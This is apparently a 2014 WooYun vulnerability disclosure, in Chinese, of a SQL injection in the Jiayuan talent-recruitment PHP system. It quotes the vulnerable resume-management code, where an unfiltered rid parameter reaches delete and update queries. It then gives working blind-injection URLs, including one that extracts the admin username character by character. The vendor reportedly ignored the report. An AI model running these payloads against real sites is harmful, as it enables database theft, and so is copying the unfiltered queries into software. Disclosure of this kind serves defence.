当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066708

漏洞标题:嘉缘人才系统SQL注入

相关厂商:嘉缘官网

漏洞作者: My5t3ry

提交时间:2014-07-02 16:03

修复时间:2014-09-30 16:04

公开时间:2014-09-30 16:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

嘉缘人才系统SQL注入一枚。

详细说明:

嘉缘人才系统是php下用户量最多的厂商,比phpyun还多。。。
360库带计划一般厂商。
厂商url:http://www.finereason.com
http://loudong.360.cn/company/info/id/43
漏洞位于/member/person_resume.php 7 - 30行,代码如下:

defined('IN_FR') or exit('Access Denied');
if($user_type!='pmember'){
echo "<script>alert('您好,您不是个人会员不能操作此功能!');location.href='javascript:history.back()';</script>";
exit;
}
if($do=='del'){
$db ->query("delete from {$cfg['tb_pre']}education where e_rid=$rid and e_pmember='$username'");
$db ->query("delete from {$cfg['tb_pre']}training where t_rid=$rid and t_pmember='$username'");
$db ->query("delete from {$cfg['tb_pre']}lang where l_rid=$rid and l_pmember='$username'");
$db ->query("delete from {$cfg['tb_pre']}work where w_rid=$rid and w_pmember='$username'");
$db ->query("delete from {$cfg['tb_pre']}resume where r_mid='$Memberid' and r_id=$rid");
showmsg('删除成功!',"?m=person_resume&show=$show",0,2000);exit();
}elseif($do=='activate'){
$db ->query("update {$cfg['tb_pre']}resume set r_cnstatus=0 where r_mid='$Memberid'");
$db ->query("update {$cfg['tb_pre']}resume set r_cnstatus=1 where r_id=$rid and r_mid='$Memberid'");
showmsg('激活成功!',"?m=person_resume&show=$show",0,2000);exit();
}elseif($do=='refresh'){
if($rid){
$db ->query("update {$cfg['tb_pre']}resume set r_adddate=NOW() where r_id=$rid and r_mid='$Memberid'");
}else{
$db->query("update {$cfg['tb_pre']}resume set r_adddate=NOW() where r_mid='$Memberid'");
}
showmsg('刷新成功!',"?m=person_resume&show=$show",0,2000);exit();
}else{

漏洞证明:

其中的$rid未经过滤带入了SQL,下面来测试,注册一个会员并登陆
访问
http://192.168.116.128/frcmsnew/member/index.php?m=person_resume&do=activate&rid=@`'` or r_id=if((1=1),9999,(select 1 from information_schema.tables))%23@`'`
如图1,查询为真,返回正常页面。

1.jpg


继续访问
http://192.168.116.128/frcmsnew/member/index.php?m=person_resume&do=activate&rid=@`'` or r_id=if((1=2),9999,(select 1 from information_schema.tables))%23@`'`
如图2,查询为假,页面报错。

2.jpg


把其中的1=1替换为我们的注射语句就行了,如查询管理员用户名的第一个字符是否为a:
http://192.168.116.128/frcmsnew/member/index.php?m=person_resume&do=activate&rid=@`'` or r_id=if((ascii(substring((select a_user from job_admin limit 0,1),1,1))=97),9999,(select 1 from information_schema.tables))%23@`'`

修复方案:

做好过滤。

版权声明:转载请注明来源 My5t3ry@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝